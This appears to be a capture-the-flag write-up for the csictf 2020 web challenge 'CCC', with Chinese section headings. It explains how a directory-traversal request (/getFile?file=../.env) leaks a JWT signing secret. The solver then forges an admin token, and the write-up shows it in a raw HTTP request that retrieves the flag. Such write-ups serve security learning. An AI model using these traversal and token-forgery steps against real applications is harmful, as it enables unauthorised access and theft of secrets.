

CCC

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WriteUp来源

<https://dunsp4rce.github.io/csictf-2020/web/2020/07/22/CCC.html>

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题目描述

You can steal a car if you steal its key.

题目考点

解题思路

- We are given a complex-looking-fancy website which has numerous dummy links and only 2 useful links
- The useful links are :
- /adminNames
- /login
- /adminNames redirects to /getFile=file=admins and a file with the following contents is obtained :
- csivitu/authorized_users/blob/master/
- Going through the above [GitHub repository](#), we realize that it contains the usernames of admins and script to retrieve their ssh-rsa public keys
- /login takes us to a login page :
- On logging in, we receive a JWT in the HTTP response header
- Logging in with admin:admin, the response JWT decodes to (use [JWT.IO](#)) :

```
1 {
2   "username": "ngzva",
3   "password": "ngzva",
4   "admin": "snyfr",
5   "iat": 1593506966
6 }
```

- ngzva is the ROT13 encoding of admin and snyfr is the ROT13 encoding of false (use [Cryptii](#))
- This is a hint that we need to forge the JWT token by setting admin as true along with a valid username (in ROT13 encoded form)
- A valid username can be got from the [GitHub repository](#) obtained previously
- To get the key to sign the JWT, we try a bunch of common file names in the path /getFile?file=<filename>
- There is also a filename length limit of 7, this tells us that the file name is short and could be even shorter if we are to use directory traversal
- Trying /getFile?file=../.env (because node.js app), we get the key used to sign the JWT :

```
1 JWT_SECRET=Th1sSECr3TMu5TN0Tb3L43KEDEV3RRRRRR!!1
```

- Using the key and a valid username, we forge the JWT and sign it
- Visiting /admin, we get an error message :

```
1 {"success": false, "message": "Invalid Token, Headers?"}
```

- So we need to send the JWT to /admin to impersonate an admin
- Sending the JWT in Authorization header gets us the ROT13 encoding of the flag

Request

```
1 GET /admin HTTP/1.1
2 Host: chall.csivit.com:30215
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7 Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImVibW5hIiwicGZzIjdvcmQzIiwiaWF0IjE1OTUzNDAwMDIyLm2y399u-xdRyzhpkiX-stYfIS
8 Accept-Encoding: gzip, deflate
9 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
10 Cookie: __cfduid=d10b0dd80a123d45a9dabfaadb24dbc801595326165;
11 Connection: close
```

Response

```
1 pfvpqgs{1a_gu3_3aq_1g_q0rfa'g_3i3a_z4gg3e}
```

- Decode the above to get the flag

Flag

```
1 csictf{1n_th3_3nd_1t_d0esn't_3v3n_m4tt3r}
```

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